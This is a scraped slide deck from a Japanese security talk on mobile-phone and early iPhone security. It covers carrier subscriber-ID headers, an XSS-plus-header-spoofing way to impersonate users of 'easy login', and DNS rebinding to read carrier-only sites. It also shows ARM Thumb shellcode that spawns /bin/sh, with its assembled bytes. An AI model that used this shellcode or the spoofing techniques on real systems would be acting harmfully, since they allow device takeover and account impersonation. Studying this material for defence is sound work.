狠狠撸

狠狠撸Share a Scribd company logo
近年のモバイル端末に関する セキュリティ ネットエージェント株式会社 爱甲健二
大きく分けて 2種類のモバイル端末 スマートフォン BlackBerry, iPhone, Android,  などなど 世界においての一般的なモバイル端末 携帯電話(ケイタイ) 日本独自のモバイル端末 90% 程度のシェアを持つ(らしい)
大きく分けて 2種類のモバイル端末 スマートフォン BlackBerry, iPhone, Android,  などなど 世界においての一般的なモバイル端末 携帯電話(ケイタイ) 日本独自のモバイル端末 90% 程度のシェアを持つ(らしい) PC と似たインターフェースを持つ モバイル端末(キーボードなど)
大きく分けて 2種類のモバイル端末 スマートフォン BlackBerry, iPhone, Android,  などなど 世界においての一般的なモバイル端末 携帯電話(ケイタイ) 日本独自のモバイル端末 90% 程度のシェアを持つ(らしい) 0-9#* などのボタンをベースとした 日本独自のインターフェースを持つ端末
携帯と笔颁の违い
個体識別情報(番号) 各携帯電話にユニークな番号 製造番号のようなもの? HTTP 通信時に HTTP 拡張ヘッダに追加 au の場合は ” X-UP-SUBNO” docomo の場合は “ USER_AGENT” i モード ID ( guid ) 英数字 7 桁 (大文字?小文字区別あり)
個体識別情報の取得例 USER_AGENT に個体識別情報が格納 Web サーバ側で利用できる
Cookieの代わり? 携帯電話の世界では、Cookieはまだスタンダードな仕様ではない
フルブラウザ機能 携帯のフルブラウザ機能や iPhone 3G の場合 個体識別情報は無い iPhone 3G N-02A
携帯電話とPCの判別  IPアドレスで判別 携帯電話が使用するIPアドレス範囲で判別 アドレス範囲は、各キャリアが随時公開 WEB SERVER MOBILE PHONE PC NG From: 11.22.33.44 From: 210.158.84.1 OK
滨笔アドレス范囲(レンジ)
USER_AGENT変更ツール FireMobileSimulator 携帯端末ブラウザをシミュレートする Firefox のアドオン、携帯サイトの開発?テストツール
携帯サイトの脆弱性
なりすましの可能性 個体識別情報を元に各ユーザーを識別するため、盗まれたら、他人への「なりすまし」が可能ではないか? 携帯 JavaScript と XSS の組み合わせによる 「かんたんログイン」なりすましの可能性 http://www.tokumaru.org/d/20090805.html 徳丸浩氏
なりすましのフロー target.com XSS脆弱性アリ XMLHttpRequest setRequestHeader
なりすましのフロー setRequestHeader により   USER_AGENT を書き換え JavaScript から  偽の USER_AGENT で  通信する target.com XSS脆弱性アリ XMLHttpRequest setRequestHeader
なりすまし対策 2009 年内に Docomo が対策 JavaScript の一部機能( setRequestHeader など)を無効にした
携帯サイトのHTMLソース閲覧 DNS Rebinding を使い、 JavaScript のクロスドメイン制限を回避し、携帯専用サイトの HTML ソースを JavaScript で受け取る方法 i モード専用サイトの html ソースの閲覧方法 http://mpw.jp/blog/2009/11/188.html mpw.jp 氏
携帯サイトのHTML閲覧フロー IP: 1.2.3.4 myweb.com IP: 5.6.7.8 target.com DNS XMLHttpRequest 1.2.3.4 myweb.com myweb.com
携帯サイトのHTML閲覧フロー IP: 5.6.7.8 myweb.com IP: 5.6.7.8 target.com DNS XMLHttpRequest myweb.com
携帯サイトのHTML閲覧フロー IP: 5.6.7.8 myweb.com IP: 5.6.7.8 target.com DNS XMLHttpRequest myweb.com myweb.com 5.6.7.8
HTMLソース閲覧に対する対策 現時点では対策されていない ただ、 HTTP リクエストの Host メソッド値が、自身のホスト名( myweb.com )になるため、ターゲットのサーバが、バーチャルホストで運用されていると閲覧できない
iPhone の仕様 iPhone 3G OS: iPhone OS 2.0 CPU: ARM11 v6KZ Mem: 128MB 携帯電話と違い、比較的自由な開発環境 環境もオープンなため、様々なリサーチが行われている iPhone 3GS OS: iPhone OS 3.0 CPU: Cortex-A8 Mem: 256MB
shellcode $ cat > test5.s .globl _main _main: add lr, pc, #1 bx lr .code 16 .thumb_func _thumb _thumb: sub r5, r5, r5 mov r6, sp sub sp, sp, #0x20 add r1, pc, #0x10 str r1, [r6] str r5, [r6, #4] mov r0, r1 mov r1, r6 mov r2, r5 mov r5, #0x3b mov r12,r5 swi 128 .ascii "/bin/sh" ^C $ gcc -mthumb test5.s –o test5 $ gdb test5 (gdb) x/44b main 0x2224: 0x01 0xe0 0x8f 0xe2  0x1e 0xff 0x2f 0xe1 0x222c: 0x6d 0x1b 0x6e 0x46  0x88 0xb0 0x04 0xa1 0x2234: 0x31 0x60 0x75 0x60  0x08 0x1c 0x31 0x1c 0x223c: 0x2a 0x1c 0x3b 0x25  0xac 0x46  0x80 0xdf 0x2244: 0x2f 0x62 0x69 0x6e  0x2f 0x73 0x68
W^X  書き込み (W) と実行 (X) を天秤にする仕様 書き込みできるメモリ空間は実行できず、実行できるメモリ空間は書き込みできない OpenBSD が採用 mprotect で切り替え可 X  W  execute only
スマートフォンのセキュリティ 動いているサービスによって様々 条件が揃えばRemoteからの乗っ取りも可能 Serverアプリなども公開されているため PCに近いシステムであるため、携帯電話に比べて解析され易い
まとめ 携帯電話は Web 系のセキュリティが主流 携帯ブラウザの Ajax 、 JavaScript 関連 スマートフォンは比較的 OS やハードウェアに近い部分のセキュリティがメイン iPhone の jailbreak など

More Related Content

Similar to 爱甲健二 (20)

PDF
Firefox OS - Blaze Your Own Path
dynamis
?
PPTX
Phone gap+javascriptスマホアプリ開発(入門編)
Monaca
?
PDF
Mobile Web
Makoto Kato
?
PDF
Webフロントエンド開発の最新トレンド - HTML5, モバイル, オフライン
Shumpei Shiraishi
?
PDF
Kilimanjaro Event
dynamis
?
PDF
贬迟尘濒5超入门
Monaca
?
PDF
Html5 seminar 1_pac
1PAC. INC.
?
PPTX
事例で学ぶ贬罢惭尝5スマフォアプリ开発セミナー
Monaca
?
PDF
贬迟尘濒5で作る颈笔丑辞苍别アプリケーション2010
だいすけ ふるかわ
?
PDF
Kddi mugen lab
Kazuya Hiruma
?
PPTX
いまさら闻けない!贬罢惭尝5超入门
Monaca
?
KEY
础苍诲谤辞颈诲と贬罢惭尝5で変わる组込みの世界
Tomo Watanabe
?
PDF
TIZEN OS for smartphone Kickstart application development / はじめて学ぶアプリ開発入門
Hiroshi Sakate
?
PDF
モハ?イル奥别产アフ?リのこれまて?とこれから
dsuke Takaoka
?
PDF
jQuery MobileとPhoneGapでスマートフォンアプリ楽々クッキング
Takashi Okamoto
?
PDF
Jqm20120804 publish
Takashi Okamoto
?
PPTX
HTML5 クロスプラットフォームアプリ開発の現実解
Monaca
?
KEY
组込み技术とモバイル技术
Tomo Watanabe
?
PPTX
贬罢惭尝5と奥别产开発に関する最新动向
Shumpei Shiraishi
?
PDF
Concentrated HTML5 & Attractive HTML5
Sho Ito
?
Firefox OS - Blaze Your Own Path
dynamis
?
Phone gap+javascriptスマホアプリ開発(入門編)
Monaca
?
Mobile Web
Makoto Kato
?
Webフロントエンド開発の最新トレンド - HTML5, モバイル, オフライン
Shumpei Shiraishi
?
Kilimanjaro Event
dynamis
?
贬迟尘濒5超入门
Monaca
?
Html5 seminar 1_pac
1PAC. INC.
?
事例で学ぶ贬罢惭尝5スマフォアプリ开発セミナー
Monaca
?
贬迟尘濒5で作る颈笔丑辞苍别アプリケーション2010
だいすけ ふるかわ
?
Kddi mugen lab
Kazuya Hiruma
?
いまさら闻けない!贬罢惭尝5超入门
Monaca
?
础苍诲谤辞颈诲と贬罢惭尝5で変わる组込みの世界
Tomo Watanabe
?
TIZEN OS for smartphone Kickstart application development / はじめて学ぶアプリ開発入門
Hiroshi Sakate
?
モハ?イル奥别产アフ?リのこれまて?とこれから
dsuke Takaoka
?
jQuery MobileとPhoneGapでスマートフォンアプリ楽々クッキング
Takashi Okamoto
?
Jqm20120804 publish
Takashi Okamoto
?
HTML5 クロスプラットフォームアプリ開発の現実解
Monaca
?
组込み技术とモバイル技术
Tomo Watanabe
?
贬罢惭尝5と奥别产开発に関する最新动向
Shumpei Shiraishi
?
Concentrated HTML5 & Attractive HTML5
Sho Ito
?

Recently uploaded (13)

PDF
API認可を支えるKeycloakの基本と設計の考え方 ~ OAuth/OIDCによるAPI保護のベストプラクティス ~
Hitachi, Ltd. OSS Solution Center.
?
PDF
SIG-AUDIO 2025 Vol.02 オンラインセミナー 「GDC2025 オーディオ報告会」SIG-Audio_GDC2024_報告会資料_増野さ...
IGDA Japan SIG-Audio
?
PDF
マルチAIエージェントの産業界での実践に向けたオープンソース活動の展望 - Japan Regional User Group (RUG) Meet-Up
Kosaku Kimura
?
PDF
渔船に搭载されている电子装备と渔法について冲痴搁颁海洋学研究会冲海の尝罢会発表资料
Yuuitirou528 default
?
PDF
安尾 萌, 藤代 裕之, 松下 光範. 協調的情報トリアージにおけるコミュニケーションの影響についての検討, 第11回データ工学と情報マネジメントに関する...
Matsushita Laboratory
?
PDF
第3回テ?シ?タル理学疗法学会のシンポジウム「デジタル理学疗法の组织活用:教育?管理?研究を繋ぐ新たな地平」での话题提供
Matsushita Laboratory
?
PDF
第3回デジタル理学疗法研究会学术大会シンポジウム「デジタル理学疗法の组织活用:教育?管理?研究を繋ぐ新たな地平」の讲演资料.
Matsushita Laboratory
?
PDF
安尾 萌, 北村 茂生, 松下 光範. 災害発生時における被害状況把握を目的とした情報共有システムの基礎検討, 電子情報通信学会HCGシンポジウム2018...
Matsushita Laboratory
?
PDF
論文紹介:AutoPrompt: Eliciting Knowledge from Language Models with Automatically ...
Toru Tamaki
?
PDF
AIツールを使った研究の効率化 Improving Research Efficiency with AI Tools
Tohoku University
?
PDF
論文紹介:Unbiasing through Textual Descriptions: Mitigating Representation Bias i...
Toru Tamaki
?
PDF
安尾 萌, 松下 光範. 環境馴致を計量可能にするための試み,人工知能学会第4回仕掛学研究会, 2018.
Matsushita Laboratory
?
PDF
SIG-AUDIO 2025 Vol.02 オンラインセミナー 「GDC2025 オーディオ報告会」SIG-Audio_GDC2025_報告会資料_渡辺さ...
IGDA Japan SIG-Audio
?
API認可を支えるKeycloakの基本と設計の考え方 ~ OAuth/OIDCによるAPI保護のベストプラクティス ~
Hitachi, Ltd. OSS Solution Center.
?
SIG-AUDIO 2025 Vol.02 オンラインセミナー 「GDC2025 オーディオ報告会」SIG-Audio_GDC2024_報告会資料_増野さ...
IGDA Japan SIG-Audio
?
マルチAIエージェントの産業界での実践に向けたオープンソース活動の展望 - Japan Regional User Group (RUG) Meet-Up
Kosaku Kimura
?
渔船に搭载されている电子装备と渔法について冲痴搁颁海洋学研究会冲海の尝罢会発表资料
Yuuitirou528 default
?
安尾 萌, 藤代 裕之, 松下 光範. 協調的情報トリアージにおけるコミュニケーションの影響についての検討, 第11回データ工学と情報マネジメントに関する...
Matsushita Laboratory
?
第3回テ?シ?タル理学疗法学会のシンポジウム「デジタル理学疗法の组织活用:教育?管理?研究を繋ぐ新たな地平」での话题提供
Matsushita Laboratory
?
第3回デジタル理学疗法研究会学术大会シンポジウム「デジタル理学疗法の组织活用:教育?管理?研究を繋ぐ新たな地平」の讲演资料.
Matsushita Laboratory
?
安尾 萌, 北村 茂生, 松下 光範. 災害発生時における被害状況把握を目的とした情報共有システムの基礎検討, 電子情報通信学会HCGシンポジウム2018...
Matsushita Laboratory
?
論文紹介:AutoPrompt: Eliciting Knowledge from Language Models with Automatically ...
Toru Tamaki
?
AIツールを使った研究の効率化 Improving Research Efficiency with AI Tools
Tohoku University
?
論文紹介:Unbiasing through Textual Descriptions: Mitigating Representation Bias i...
Toru Tamaki
?
安尾 萌, 松下 光範. 環境馴致を計量可能にするための試み,人工知能学会第4回仕掛学研究会, 2018.
Matsushita Laboratory
?
SIG-AUDIO 2025 Vol.02 オンラインセミナー 「GDC2025 オーディオ報告会」SIG-Audio_GDC2025_報告会資料_渡辺さ...
IGDA Japan SIG-Audio
?
Ad

爱甲健二